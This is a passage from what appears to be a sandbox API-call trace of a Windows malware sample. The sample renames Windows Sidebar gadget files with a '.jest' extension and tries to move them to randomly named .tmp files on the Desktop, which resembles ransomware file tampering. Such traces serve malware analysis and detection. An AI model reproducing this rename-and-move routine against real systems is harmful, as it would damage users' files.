(x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\icon.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\icon.png.jest")) returned 0 [0127.087] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png", lpFilePart=0x18e6d8*="icon.png") returned 0x47 [0127.088] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc467a55c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc467a55c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc467a55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1d07, dwReserved0=0x57, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 0x143ce48 [0127.088] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.088] VarBstrFromR4 (in: fltIn=0x4794457c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.97") returned 0x0 [0127.089] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.089] GetTickCount () returned 0x1152379 [0127.089] GetTickCount () returned 0x1152379 [0127.089] CoFreeUnusedLibraries () [0127.089] GetTickCount () returned 0x1152379 [0127.089] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.089] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.089] GetTickCount () returned 0x1152379 [0127.089] IsWindowVisible (hWnd=0x30268) returned 0 [0127.089] Sleep (dwMilliseconds=0x0) [0127.089] GetFullPathNameA (in: lpFileName="lo2c6HGozf1jMZ2seo2uXH9qEsfFD6BJ1YJRyt6w0AlU13X9m0sma8mVevv4dj7DqO83t8GSwVeTR0JfIDNHB7FIT8uWCz5szABOo.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lo2c6HGozf1jMZ2seo2uXH9qEsfFD6BJ1YJRyt6w0AlU13X9m0sma8mVevv4dj7DqO83t8GSwVeTR0JfIDNHB7FIT8uWCz5szABOo.tmp", lpFilePart=0x18e708*="lo2c6HGozf1jMZ2seo2uXH9qEsfFD6BJ1YJRyt6w0AlU13X9m0sma8mVevv4dj7DqO83t8GSwVeTR0JfIDNHB7FIT8uWCz5szABOo.tmp") returned 0x8f [0127.089] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png", lpFilePart=0x18e708*="icon.png") returned 0x47 [0127.090] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\icon.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lo2c6HGozf1jMZ2seo2uXH9qEsfFD6BJ1YJRyt6w0AlU13X9m0sma8mVevv4dj7DqO83t8GSwVeTR0JfIDNHB7FIT8uWCz5szABOo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lo2c6hgozf1jmz2seo2uxh9qesffd6bj1yjryt6w0alu13x9m0sma8mvevv4dj7dqo83t8gswvetr0jfidnhb7fit8uwcz5szaboo.tmp")) returned 0 [0127.090] GetLastError () returned 0x5 [0127.090] GetLastError () returned 0x5 [0127.090] SetLastError (dwErrCode=0x5) [0127.090] GetLastError () returned 0x5 [0127.090] SetLastError (dwErrCode=0x5) [0127.090] GetLastError () returned 0x5 [0127.090] SetLastError (dwErrCode=0x5) [0127.090] GetFullPathNameA (in: lpFileName="lo2c6HGozf1jMZ2seo2uXH9qEsfFD6BJ1YJRyt6w0AlU13X9m0sma8mVevv4dj7DqO83t8GSwVeTR0JfIDNHB7FIT8uWCz5szABOo.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lo2c6HGozf1jMZ2seo2uXH9qEsfFD6BJ1YJRyt6w0AlU13X9m0sma8mVevv4dj7DqO83t8GSwVeTR0JfIDNHB7FIT8uWCz5szABOo.tmp", lpFilePart=0x18e6e4*="lo2c6HGozf1jMZ2seo2uXH9qEsfFD6BJ1YJRyt6w0AlU13X9m0sma8mVevv4dj7DqO83t8GSwVeTR0JfIDNHB7FIT8uWCz5szABOo.tmp") returned 0x8f [0127.090] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lo2c6HGozf1jMZ2seo2uXH9qEsfFD6BJ1YJRyt6w0AlU13X9m0sma8mVevv4dj7DqO83t8GSwVeTR0JfIDNHB7FIT8uWCz5szABOo.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x63326f6c, cFileName="6HGozf1jMZ2seo2uXH9qEsfFD6BJ1YJRyt6w0AlU13X9m0sma8mVevv4dj7DqO83t8GSwVeTR0JfIDNHB7FIT8uWCz5szABOo.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.091] GetLastError () returned 0x2 [0127.091] GetLastError () returned 0x2 [0127.091] SetLastError (dwErrCode=0x2) [0127.092] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.092] GetTickCount () returned 0x1152379 [0127.092] GetTickCount () returned 0x1152379 [0127.093] CoFreeUnusedLibraries () [0127.093] GetTickCount () returned 0x1152379 [0127.093] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.093] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.093] GetTickCount () returned 0x1152379 [0127.093] IsWindowVisible (hWnd=0x30268) returned 0 [0127.093] Sleep (dwMilliseconds=0x0) [0127.093] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml.jest")) returned 0 [0127.093] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e6d8*="gadget.xml") returned 0x4f [0127.093] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x57, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0x143ce48 [0127.094] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.094] VarBstrFromR4 (in: fltIn=0x4794457c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.97") returned 0x0 [0127.094] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.094] GetTickCount () returned 0x1152379 [0127.094] GetTickCount () returned 0x1152379 [0127.094] CoFreeUnusedLibraries () [0127.095] GetTickCount () returned 0x1152379 [0127.095] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.095] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.095] GetTickCount () returned 0x1152379 [0127.095] IsWindowVisible (hWnd=0x30268) returned 0 [0127.095] Sleep (dwMilliseconds=0x0) [0127.095] GetFullPathNameA (in: lpFileName="fGSZvrS56pZKv3YOCKzKvX8wtr91ExNL0UFTYGZgQCQ96Bsby3C TXA0EhzHA3cb_YWQer24tjWys0S6gyB2U-TDqoRpHrsV6xubJ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fGSZvrS56pZKv3YOCKzKvX8wtr91ExNL0UFTYGZgQCQ96Bsby3C TXA0EhzHA3cb_YWQer24tjWys0S6gyB2U-TDqoRpHrsV6xubJ.tmp", lpFilePart=0x18e708*="fGSZvrS56pZKv3YOCKzKvX8wtr91ExNL0UFTYGZgQCQ96Bsby3C TXA0EhzHA3cb_YWQer24tjWys0S6gyB2U-TDqoRpHrsV6xubJ.tmp") returned 0x8f [0127.095] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e708*="gadget.xml") returned 0x4f [0127.096] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fGSZvrS56pZKv3YOCKzKvX8wtr91ExNL0UFTYGZgQCQ96Bsby3C TXA0EhzHA3cb_YWQer24tjWys0S6gyB2U-TDqoRpHrsV6xubJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fgszvrs56pzkv3yockzkvx8wtr91exnl0uftygzgqcq96bsby3c txa0ehzha3cb_ywqer24tjwys0s6gyb2u-tdqorphrsv6xubj.tmp")) returned 0 [0127.096] GetLastError () returned 0x5 [0127.096] GetLastError () returned 0x5 [0127.096] SetLastError (dwErrCode=0x5) [0127.096] GetLastError () returned 0x5 [0127.096] SetLastError (dwErrCode=0x5) [0127.096] GetLastError () returned 0x5 [0127.096] SetLastError (dwErrCode=0x5) [0127.096] GetFullPathNameA (in: lpFileName="fGSZvrS56pZKv3YOCKzKvX8wtr91ExNL0UFTYGZgQCQ96Bsby3C TXA0EhzHA3cb_YWQer24tjWys0S6gyB2U-TDqoRpHrsV6xubJ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fGSZvrS56pZKv3YOCKzKvX8wtr91ExNL0UFTYGZgQCQ96Bsby3C TXA0EhzHA3cb_YWQer24tjWys0S6gyB2U-TDqoRpHrsV6xubJ.tmp", lpFilePart=0x18e6e4*="fGSZvrS56pZKv3YOCKzKvX8wtr91ExNL0UFTYGZgQCQ96Bsby3C TXA0EhzHA3cb_YWQer24tjWys0S6gyB2U-TDqoRpHrsV6xubJ.tmp") returned 0x8f [0127.096] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fGSZvrS56pZKv3YOCKzKvX8wtr91ExNL0UFTYGZgQCQ96Bsby3C TXA0EhzHA3cb_YWQer24tjWys0S6gyB2U-TDqoRpHrsV6xubJ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5a534766, cFileName="vrS56pZKv3YOCKzKvX8wtr91ExNL0UFTYGZgQCQ96Bsby3C TXA0EhzHA3cb_YWQer24tjWys0S6gyB2U-TDqoRpHrsV6xubJ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.096] GetLastError () returned 0x2 [0127.097] GetLastError () returned 0x2 [0127.097] SetLastError (dwErrCode=0x2) [0127.097] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.097] GetTickCount () returned 0x1152379 [0127.097] GetTickCount () returned 0x1152379 [0127.097] CoFreeUnusedLibraries () [0127.097] GetTickCount () returned 0x1152379 [0127.097] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.098] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.098] GetTickCount () returned 0x1152379 [0127.098] IsWindowVisible (hWnd=0x30268) returned 0 [0127.098] Sleep (dwMilliseconds=0x0) [0127.098] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml.jest" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml.jest")) returned 0 [0127.098] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e6d8*="gadget.xml") returned 0x49 [0127.098] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x57, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0x143ce48 [0127.099] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.099] VarBstrFromR4 (in: fltIn=0x4794457c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.97") returned 0x0 [0127.099] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.099] GetTickCount () returned 0x1152379 [0127.099] GetTickCount () returned 0x1152379 [0127.099] CoFreeUnusedLibraries () [0127.099] GetTickCount () returned 0x1152379 [0127.099] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.099] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.100] GetTickCount () returned 0x1152379 [0127.100] IsWindowVisible (hWnd=0x30268) returned 0 [0127.100] Sleep (dwMilliseconds=0x0) [0127.100] GetFullPathNameA (in: lpFileName="ZSi__uZnhkciyu5IZcd7cI gF VppQS PE8oFgSS j9KnPYqJz5BANvqXAGharlFElHPDw939GKWg-03asmTbVeE6kLJbQddzlG.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZSi__uZnhkciyu5IZcd7cI gF VppQS PE8oFgSS j9KnPYqJz5BANvqXAGharlFElHPDw939GKWg-03asmTbVeE6kLJbQddzlG.tmp", lpFilePart=0x18e708*="ZSi__uZnhkciyu5IZcd7cI gF VppQS PE8oFgSS j9KnPYqJz5BANvqXAGharlFElHPDw939GKWg-03asmTbVeE6kLJbQddzlG.tmp") returned 0x8d [0127.100] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e708*="gadget.xml") returned 0x49 [0127.100] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZSi__uZnhkciyu5IZcd7cI gF VppQS PE8oFgSS j9KnPYqJz5BANvqXAGharlFElHPDw939GKWg-03asmTbVeE6kLJbQddzlG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zsi__uznhkciyu5izcd7ci gf vppqs pe8ofgss j9knpyqjz5banvqxagharlfelhpdw939gkwg-03asmtbvee6kljbqddzlg.tmp")) returned 0 [0127.101] GetLastError () returned 0x5 [0127.101] GetLastError () returned 0x5 [0127.101] SetLastError (dwErrCode=0x5) [0127.101] GetLastError () returned 0x5 [0127.101] SetLastError (dwErrCode=0x5) [0127.101] GetLastError () returned 0x5 [0127.101] SetLastError (dwErrCode=0x5) [0127.101] GetFullPathNameA (in: lpFileName="ZSi__uZnhkciyu5IZcd7cI gF VppQS PE8oFgSS j9KnPYqJz5BANvqXAGharlFElHPDw939GKWg-03asmTbVeE6kLJbQddzlG.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZSi__uZnhkciyu5IZcd7cI gF VppQS PE8oFgSS j9KnPYqJz5BANvqXAGharlFElHPDw939GKWg-03asmTbVeE6kLJbQddzlG.tmp", lpFilePart=0x18e6e4*="ZSi__uZnhkciyu5IZcd7cI gF VppQS PE8oFgSS j9KnPYqJz5BANvqXAGharlFElHPDw939GKWg-03asmTbVeE6kLJbQddzlG.tmp") returned 0x8d [0127.101] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZSi__uZnhkciyu5IZcd7cI gF VppQS PE8oFgSS j9KnPYqJz5BANvqXAGharlFElHPDw939GKWg-03asmTbVeE6kLJbQddzlG.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5f69535a, cFileName="_uZnhkciyu5IZcd7cI gF VppQS PE8oFgSS j9KnPYqJz5BANvqXAGharlFElHPDw939GKWg-03asmTbVeE6kLJbQddzlG.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.101] GetLastError () returned 0x2 [0127.101] GetLastError () returned 0x2 [0127.101] SetLastError (dwErrCode=0x2) [0127.102] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.102] GetTickCount () returned 0x1152379 [0127.102] GetTickCount () returned 0x1152379 [0127.102] CoFreeUnusedLibraries () [0127.103] GetTickCount () returned 0x1152388 [0127.103] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.103] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.103] GetTickCount () returned 0x1152388 [0127.103] IsWindowVisible (hWnd=0x30268) returned 0 [0127.103] Sleep (dwMilliseconds=0x0) [0127.103] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\flyout.css"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\flyout.css.jest")) returned 0 [0127.103] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css", lpFilePart=0x18e6d8*="flyout.css") returned 0x53 [0127.103] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x57, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 0x143ce48 [0127.104] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.104] VarBstrFromR4 (in: fltIn=0x4794457e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.98") returned 0x0 [0127.104] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.104] GetTickCount () returned 0x1152388 [0127.104] GetTickCount () returned 0x1152388 [0127.104] CoFreeUnusedLibraries () [0127.105] GetTickCount () returned 0x1152388 [0127.105] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.105] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.105] GetTickCount () returned 0x1152388 [0127.105] IsWindowVisible (hWnd=0x30268) returned 0 [0127.105] Sleep (dwMilliseconds=0x0) [0127.105] GetFullPathNameA (in: lpFileName="iJ xpHcY0HdRp2ozBdwDZu69BkZcPfS-6Np2xiHVf4dSN1a8cVmk4kYs5VG2M9 KwSPZlOlFdExD7IQ1 AwH9FeskLvOeQOX_kyqi.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iJ xpHcY0HdRp2ozBdwDZu69BkZcPfS-6Np2xiHVf4dSN1a8cVmk4kYs5VG2M9 KwSPZlOlFdExD7IQ1 AwH9FeskLvOeQOX_kyqi.tmp", lpFilePart=0x18e708*="iJ xpHcY0HdRp2ozBdwDZu69BkZcPfS-6Np2xiHVf4dSN1a8cVmk4kYs5VG2M9 KwSPZlOlFdExD7IQ1 AwH9FeskLvOeQOX_kyqi.tmp") returned 0x8f [0127.105] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css", lpFilePart=0x18e708*="flyout.css") returned 0x53 [0127.106] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\flyout.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iJ xpHcY0HdRp2ozBdwDZu69BkZcPfS-6Np2xiHVf4dSN1a8cVmk4kYs5VG2M9 KwSPZlOlFdExD7IQ1 AwH9FeskLvOeQOX_kyqi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ij xphcy0hdrp2ozbdwdzu69bkzcpfs-6np2xihvf4dsn1a8cvmk4kys5vg2m9 kwspzlolfdexd7iq1 awh9fesklvoeqox_kyqi.tmp")) returned 0 [0127.106] GetLastError () returned 0x5 [0127.106] GetLastError () returned 0x5 [0127.106] SetLastError (dwErrCode=0x5) [0127.106] GetLastError () returned 0x5 [0127.106] SetLastError (dwErrCode=0x5) [0127.106] GetLastError () returned 0x5 [0127.106] SetLastError (dwErrCode=0x5) [0127.106] GetFullPathNameA (in: lpFileName="iJ xpHcY0HdRp2ozBdwDZu69BkZcPfS-6Np2xiHVf4dSN1a8cVmk4kYs5VG2M9 KwSPZlOlFdExD7IQ1 AwH9FeskLvOeQOX_kyqi.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: 